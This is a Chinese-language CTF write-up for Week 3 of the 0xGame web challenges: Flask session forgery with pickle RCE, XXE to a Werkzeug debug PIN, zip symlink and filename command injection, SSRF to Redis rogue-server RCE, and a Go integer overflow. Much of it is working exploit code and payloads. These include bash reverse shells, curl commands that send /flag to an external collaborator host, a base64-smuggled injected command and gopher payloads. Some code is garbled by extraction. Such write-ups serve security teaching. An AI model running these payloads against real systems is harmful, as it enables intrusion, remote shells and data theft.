

Week 3

notebook

<https://www.leavesongs.com/PENETRATION/client-session-security.html>

首先得知道 flask 的 session 信息存储在 cookie 中, 因此这种 session 也被称作 "客户端 session"

而 session 要想保证不被恶意修改, 就会使用一个 secret key 进行签名

注意 "签名" 不等于 "加密", 我们其实仍然能够看到 session 中存储的信息, 但是无法修改它, 这一点和 JWT (JSON Web Token) 类似

题目中的 secret key

```
app.config['SECRET_KEY'] = os.urandom(2).hex()
```

这里留了个随机数主要是让大家关注随机数的长度, 如果这个长度过小, 那么很容易就能爆破出来

一部分人可能不知道它长度是多少, 这个其实放到 python 里面运行一下就知道了, 只有 4 位

然后因为是 hex, 所以只会出现 0123456789abcdef 这些字符

先手动生成一个四位数字典

```
import itertools

d = itertools.product('0123456789abcdef', repeat=4)

with open('dicts.txt', 'w') as f:
    for i in d:
        s = ''.join(i)
        f.write(s + '\n')
```

然后找一些现成的工具

<https://github.com/noraj/flask-session-cookie-manager>

<https://github.com/Paradoxis/Flask-Unsign>

以 flask-unsign 为例

```
flask-unsign -u -c 'eyJub3RlcYI6e319.ZRaiVg.28tEyvEpXfcjF15rrQ7K_nk1208' -w dicts.txt -no
-literal-eval
```

结果

```
[*] Session decodes to: {'notes': {}}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 30208 attempts
b'75c5'
```

然后是个简单的 pickle 反序列化漏洞, 没有任何过滤

```
@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')

    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')

    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name,
                           note_content=note.content)
```

控制 notes 为我们的恶意 pickle 序列化数据即可

这里有几个注意点

首先, 如果你使用 `pickle.dumps()` 来生成 payload, 那么你得知道不同操作系统生成的 pickle 序列化数据是有区别的

参考: <https://xz.aliyun.com/t/7436>

```
# Linux (注意 posix)
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
```

```
# Windows (注意 nt)
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
```

在 Windows 上生成的 pickle payload 无法在 Linux 上运行

当然如果手动去构造 opcode, 那是没有这个问题的, 比如这段 opcode

```
b'''cos
system
(S'whoami'
tR.'''
```

其次, 很多人过来问为什么构造了恶意 pickle 序列化数据发送之后服务器报错 500, 其实这个是正常现象, 没啥问题

上面代码在 `pickle.loads()` 之后得到 note 对象, 然后访问它的 id, name, content 属性, 即 `note.id`, `note.name`, `note.content`

如果是正常的 pickle 数据, 那么服务器就会显示正常的 note 内容

如果是恶意的 pickle 数据, 那么 `pickle.loads()` 返回的就是通过 `__reduce__` 方法调用的某个函数所返回的结果, 根本就没有 id, name, content 这些属性, 当然就会报错了

```
import pickle

class A:
    def __reduce__(self):
        return (str, ("123", ))

s = pickle.dumps(A(), protocol=0)
obj = pickle.loads(s)
print(obj) # 123
```

换成 `os.system()` 同理, 在 Linux 中通过这个函数执行的命令, 如果执行成功, 则返回 0, 否则返回非 0 值

虽然服务器会报错 500, 但命令其实还是执行成功的

然后, 也有一部分人问为什么没有回显? 为什么反弹 shell 失败?

首先为什么没有回显我上面已经说了, 而且就算 `os.system()` 有回显你也看不到, 因为回显的内容根本就不会在网页上输出

至于为什么反弹 shell 失败, 提示 `sh: 1: Syntax error: Bad fd number.`, 很多人用的都是这个命令

```
bash -i >& /dev/tcp/host.docker.internal/4444 0>&1
```

这个命令存在一些注意点, 首先得理解 bash 反弹 shell 的本质

[https://www.k0rz3n.com/2018/08/05/Linux反弹shell_\(一\)_文件描述符与重定向/](https://www.k0rz3n.com/2018/08/05/Linux反弹shell_(一)_文件描述符与重定向/)

[https://www.k0rz3n.com/2018/08/05/Linux反弹shell_\(二\)_反弹shell的本质/](https://www.k0rz3n.com/2018/08/05/Linux反弹shell_(二)_反弹shell的本质/)

然后你得知道上面这个反弹 shell 的语法其实是 bash 自身的特性, 而其它 shell 例如 sh, zsh 并不支持这个功能

对于题目的环境而言, 当你执行这条命令的时候, 它实际上是在 sh 的 context 中执行的, `>&` 以及 `/dev/tcp/IP/Port` 会被 sh 解析, 而不是 bash, 因此会报错

解决方法也很简单, 将上面的命令使用 `bash -c ""` 包裹起来, 即

```
bash -c "bash -i >& /dev/tcp/host.docker.internal/4444 0>&1"
```

让 `>&` 以及 `/dev/tcp/IP/Port` 都被 bash 解析, 就能反弹成功了

而且题目有 python 环境, 用 `python -c "xxx"` 反弹 shell 也行

更何况这题也不是非要反弹 shell, 还有很多其它方法也可以外带回显, 例如 dnslog / Burp Collaborator

```
curl i2142u09eonlu596rrno58j5xw3nrff4.oastify.com -T /flag
curl i2142u09eonlu596rrno58j5xw3nrff4.oastify.com -X POST -d "`cat /flag`"
```

最后构造 payload, 注意 note id 要对上

```
flask-unsign --sign --cookie '{"notes': {'evil': b''cos\nsystem\n(S'bash -c \"bash -i
>& /dev/tcp/host.docker.internal/4444 0>&1\\''\ntR.''}}' --secret 6061 --no-literal-
eval
```

The screenshot shows the Burp Suite Professional v2023.7 interface. The 'Repeater' tab is active, displaying a list of requests. The first request is a GET to /evil with a cookie containing a session ID. The response is a terminal output from a netcat listener on port 4444, showing a connection from 127.0.0.1 and the execution of 'cat /flag', which returns a JWT token: 0xGame{750fdbdf-1155-4cac-818e-8918a6ff0bf4}.

rss_parser

etree.parse 的过程存在 XXE 漏洞

```
etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))
```

将一个符合 RSS Feed XML 标准的 payload 放到 HTTP 服务器上就可以 XXE (也可以参考

<https://exp10it.cn/index.xml> 改一改)

但是无法直接读取 /flag 文件, 这里考察获取 Flask 在 Debug 模式下的 PIN Code 以实现 RCE

<https://xz.aliyun.com/t/8092>

<https://www.tr0y.wang/2022/05/16/SecMap-flask/>

读取 `/sys/class/net/eth0/address`

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///sys/class/net/eth0/address">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>&file;</title>
    <link>https://exp10it.cn/</link>
    <item>
      <title>test</title>
      <link>https://exp10it.cn/</link>
    </item>
  </channel>
</rss>
```

结果

```
02:42:c0:a8:e5:02
```

转换为十进制

```
int('02:42:c0:a8:e5:02'.replace(':', ''),16)
```

结果为 2485723391234

然后读取 machine id 或者 boot id

因为这里不存在 /etc/machine-id, 所以读取 /proc/sys/kernel/random/boot_id

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///proc/sys/kernel/random/boot_id">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>&file;</title>
    <link>https://exp10it.cn/</link>
    <item>
      <title>test</title>
      <link>https://exp10it.cn/</link>
    </item>
  </channel>
</rss>
```

结果

```
d0bb4e23-acae-4f09-a9a9-e13f710e25fa
```

然后根据上面的文章, 读取 `/proc/self/cgroup` 显示 `0::/`, 也就是没有 id 值, 所以不用拼接, 直接用上面的 boot id 就行

剩下的 username 可以通过读取 `/etc/passwd` 来猜一下, 一般都是 `root` 或者最底下的用户 `app`, 多试几个就行

最后随便填一个 url, 比如 `https://exp10it.cn/xxx` 就能在报错页面看到 flask 的路径

exp (注意新版本 flask 计算 pin code 时用的是 sha1, 旧版本才是 md5)

```
import hashlib
from itertools import chain
probably_public_bits = [
    'app' # username
    'flask.app', # modname
    'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__',
None),
]

private_bits = [
    '2485723391234', # str(uuid.getnode()), /sys/class/net/ens33/address
    'd0bb4e23-acae-4f09-a9a9-e13f710e25fa' # get_machine_id(), /etc/machine-id
]

h = hashlib.shal()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
```

```

        for x in range(0, len(num), group_size)
    )
    break
else:
    rv = num

print(rv)

```

然后进入报错页面输入 PIN Code

XMLSyntaxError

```

File "<string>", line 1
lxml.etree.XMLSyntaxError: Start tag expected, '<' not found, line 1, column 1

```

Traceback (most recent call last)

```

File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 2213, in __call__
    return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 2193, in wsgi_app
    response = self.handle_exception(e)
File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 2190, in wsgi_app
    response = self.full_dispatch_request()
File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 1486, in full_dispatch_request
    rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 1484, in full_dispatch_request

```

Console Locked

The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server.

PIN:

直接执行 `/readflag` 命令拿到 flag

File "/app/app.py", line 20, in index

```
tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))
```

```

[console ready]
>>> import os
>>> os.system('ls /')
0
>>> os.popen('ls /').read()
'app\nbin\nboot\ndev\netc\nflag\nhome\nlib\nmedia\nmnt\nopt\nproc\nreadflag\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'
>>> os.popen('/readflag')
<os._wrap_close object at 0xffff8de7a7c0>
>>> os.popen('/readflag').read()
'0xGame{67fd16b1-3aa5-4d83-8766-73264038184e}\n\n'
>>>

```

这题不知道为啥做出来的人很少, 其实也不难

如果自己没服务器放 xxe payload 的话可以借助一些免费的对象存储, 例如腾讯云的 COS 和阿里云的 OSS 服务, 或者用 ngrok 等工具将本机映射到公网也行

zip_manager

题目实现了在线解压缩 zip 文件的功能, 但是不能进行目录穿越

这里有两种利用方式: zip 软链接和命令注入

先讲第一种

众所周知 Linux 存在软链接这一功能, 而 zip 支持压缩软链接, 程序又是用 unzip 命令进行解压缩, 因此会存在这个漏洞 (相比之下如果使用 Python 的 zipfile 库进行解压缩, 就不会存在这个问题)

```
ln -s / test
zip -y test.zip test
```

上传后访问 `http://127.0.0.1:50033/test/test/`

Zip File Manager

Your upload path is `./uploads/1b3d24d910d23da079aa2ab3330a69b4`

Upload a zip file:

未选择任何文件

Item	Type
..	Directory
bin	Directory
boot	Directory
dev	Directory
etc	Directory
home	Directory
lib	Directory
media	Directory

然后直接下载 flag 即可

再看第二种

```
@app.route('/unzip', methods=['POST'])
def unzip():
    f = request.files.get('file')
    if not f.filename.endswith('.zip'):
        return redirect('/')

    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)

    zip_path = os.path.join(user_dir, f.filename)
    dest_path = os.path.join(user_dir, f.filename[:-4])
    f.save(zip_path)

    os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
    return redirect('/')
```

调用 `os.system` 执行 `unzip` 命令, 但是路径是直接拼接过去的, 而 `zip` 的文件名又可控, 这里存在一个很明显的命令注入

burp 上传时抓包把 `filename` 改成下面的命令即可 (base64 的知识点在第一周的 writeup 里面就提到过)


```
test.zip;echo Y3VyYCBob3N0LmRvY2t1ci5pbnRlcm5hbDo0NDQ0IC1UIC9mbGFncG==|base64 -  
d|bash;l.zip
```

```
→ ~ nc -lvnp 4444  
Connection from 127.0.0.1:51166  
PUT /flag HTTP/1.1  
Host: host.docker.internal:4444  
User-Agent: curl/7.88.1  
Accept: */*  
Content-Length: 45  
Expect: 100-continue  
  
0xGame{2fc76ab2-aa2f-441d-9143-210150fabce9}
```

命令注入这个点其实跟第一周的 ping 类似, 只不过换了一种形式

web_snapshot

题目会通过 curl 函数请求网页, 并将 html 源码保存在 Redis 数据库中

请求网页的过程很明显存在 ssrf, 但是限制输入的 url 只能以 http / https 开头

```
function _get($url) {  
    $curl = curl_init();  
    curl_setopt($curl, CURLOPT_URL, $url);  
    curl_setopt($curl, CURLOPT_HEADER, 0);  
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);  
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);  
    $data = curl_exec($curl);  
    curl_close($curl);  
    return $data;  
}
```

这题可能出的有点难了, 因此后面给了一些 hint

首先注意 `curl_setopt` 设置的参数 `CURLOPT_FOLLOWLOCATION`, 代表允许 curl 根据返回头中的 Location 进行重定向

参考: <https://www.php.net/manual/zh/function.curl-setopt.php>

CURLOPT_FOLLOWLOCATION

true 时将会根据服务器返回 HTTP 头中的 "Location: " 重定向。参阅 **CURLOPT_MAXREDIRS**。

CURLPROTO_* 值的位掩码。如果被启用，位掩码会限制 libcurl 在 在 curl 7.19.4 中被加入。**CURLOPT_FOLLOWLOCATION** 开启时，使用的协议。默认允许除 FILE 和 SCP 外所有协议。这和 7.19.4 前的版本无条件支持所有支持的协议不同。关于协议常量，请参照 **CURLOPT_PROTOCOLS**。

CURLPROTO_*的位掩码。启用时，会限制 libcurl 在传输过程中可使用哪些协议。这将允许你在编译libcurl时支持众多协议，但是限制只用允许的子集。默认 libcurl 将使用所有支持的协议。参见 **CURLOPT_REDIR_PROTOCOLS**。

可用的协议选项为：**CURLPROTO_HTTP、CURLPROTO_HTTPS、CURLPROTO_FTP、CURLPROTO_FTPS、CURLPROTO_SCP、CURLPROTO_SFTP、CURLPROTO_TELNET、CURLPROTO_LDAP、CURLPROTO_LDAPS、CURLPROTO_DICT、CURLPROTO_FILE、CURLPROTO_TFTP、CURLPROTO_ALL。**

结合 redis 的知识点, 可以尝试 redis 主从复制 rce

<https://github.com/Dliv3/redis-rogue-server>

```
import requests
import re

def urlencode(data):
    enc_data = ''
    for i in data:
        h = str(hex(ord(i))).replace('0x', '')
        if len(h) == 1:
            enc_data += '%0' + h.upper()
        else:
            enc_data += '%' + h.upper()
    return enc_data

def gen_payload(payload):

    redis_payload = ''

    for i in payload.split('\n'):
        arg_num = '*' + str(len(i.split(' ')))
        redis_payload += arg_num + '\r\n'
        for j in i.split(' '):
            arg_len = '$' + str(len(j))
            redis_payload += arg_len + '\r\n'
            redis_payload += j + '\r\n'
```

```

gopher_payload = 'gopher://db:6379/_ ' + urlencode(redis_payload)
return gopher_payload

payload1 = ''
slaveof host.docker.internal 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''

payload2 = '''slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
'''

print(gen_payload(payload1))
print(gen_payload(payload2))

```

分两次打

```

<?php

// step 1
header('Location:
gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65
%6F%66%0D%0A%24%32%30%0D%0A%68%6F%73%74%2E%64%6F%63%6B%65%72%2E%69%6E%74%65%72%6E%61%6C
%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A
%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A
%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A
%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24
%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

// step 2
// header('Location:
gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F
%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34
%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D
%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D
%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

```

在 vps 上启动一个 php 服务器, 例如 `php -s 0.0.0.0:65000`, 然后让题目去访问这个 php 文件

因为每次执行命令之间会存在一定的时间间隔, 所以得先设置 dir 和 dbfilename, 然后再 slaveof, 不然最终同步的文件名和路径还是原来的 `/data/dump.rdb`

GoShop

题目是一个商店, 初始 money 为 100, 需要购买金额为 999999999 的 flag 商品后才能拿到 flag

往 number 里面填负数或者小数这种思路都是不行的, 需要仔细看代码的逻辑

BuyHandler

```
func BuyHandler(c *gin.Context) {
    s := sessions.Default(c)
    user := users[s.Get("id").(string)]

    data := make(map[string]interface{})
    c.ShouldBindJSON(&data)

    var product *Product

    for _, v := range products {
        if data["name"] == v.Name {
            product = v
            break
        }
    }

    if product == nil {
        c.JSON(200, gin.H{
            "message": "No such product",
        })
        return
    }

    n, _ := strconv.Atoi(data["num"].(string))

    if n < 0 {
        c.JSON(200, gin.H{
            "message": "Product num can't be negative",
        })
        return
    }

    if user.Money >= product.Price*int64(n) {
        user.Money -= product.Price * int64(n)
        user.Items[product.Name] += int64(n)
        c.JSON(200, gin.H{
            "message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
        })
    } else {
```

```

    c.JSON(200, gin.H{
        "message": "You don't have enough money",
    })
}
}

```

程序使用了 `strconv.Atoi(data["num"].(string))` 将 json 传递的 `num` 字符串转换成了 `int` 类型的变量 `n` 后面判断用户的 `money` 时将其转换成了 `int64` 类型, 而 `product.Price` 本身也是 `int64` 类型

```

if user.Money >= product.Price*int64(n) {
    user.Money -= product.Price * int64(n)
    user.Items[product.Name] += int64(n)
    c.JSON(200, gin.H{
        "message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
    })
} else {
    c.JSON(200, gin.H{
        "message": "You don't have enough money",
    })
}

```

这里先介绍一些概念

Go 语言是强类型语言, 包含多种数据类型, 以数字类型为例, 存在 `uint8` `uint16` `uint32` `uint64` (无符号整型) 和 `int8` `int16` `int32` `int64` (有符号整型) 等类型

Go 语言在编译期会检查源码中定义的变量是否存在溢出, 例如 `var i uint8 = 99999` 会使得编译不通过, 但是并不会检查变量的运算过程中是否存在溢出, 例如 `var i uint8 = a * b`, 如果程序没有对变量的取值范围做限制, 那么在部分场景下就可能存在整数溢出漏洞

上面的 `BuyHandler` 虽然限制了 `n` 不能为负数, 但是并没有限制 `n` 的最大值

因此我们可以控制 `n`, 使得 `product.Price * int64(n)` 溢出为一个负数, 之后进行 `user.Money -= product.Price * int64(n)` 运算的时候, 当前用户的 `money` 就会增加, 最终达到一个可以购买 `flag` 商品的金额, 从而拿到 `flag`

查阅相关文档可以知道 `int64` 类型的范围是 `-9223372036854775808 ~ 9223372036854775807`

经过简单的计算或者瞎猜, 可以购买数量为 `922337203695477808` 的 `apple`

Go Shop

Buy Apple * 922337203695477808 success

Buy anything you want!

User: 6dd7d02f-9845-4e6e-afdb-7b8e853e2dc5

Money: 9223372036754774000

Get Flag

Reset

You have the following items:

- Apple: 922337203695477800

Select a product to buy or sell

Name	Price	Number	Action
Apple	10	9223372	Buy Sell

最终购买 flag

Go Shop

Here is your flag: `0xGame{eaf905e4-28a1-4006-b8a0-e8ddc2d673bf}`

Buy anything you want!

User: `6dd7d02f-9845-4e6e-afdb-7b8e853e2dc5`

Money: `9223372035754774000`

Get Flag

Reset

You have the following items:

- Apple: `922337203695477800`
- Flag: `1`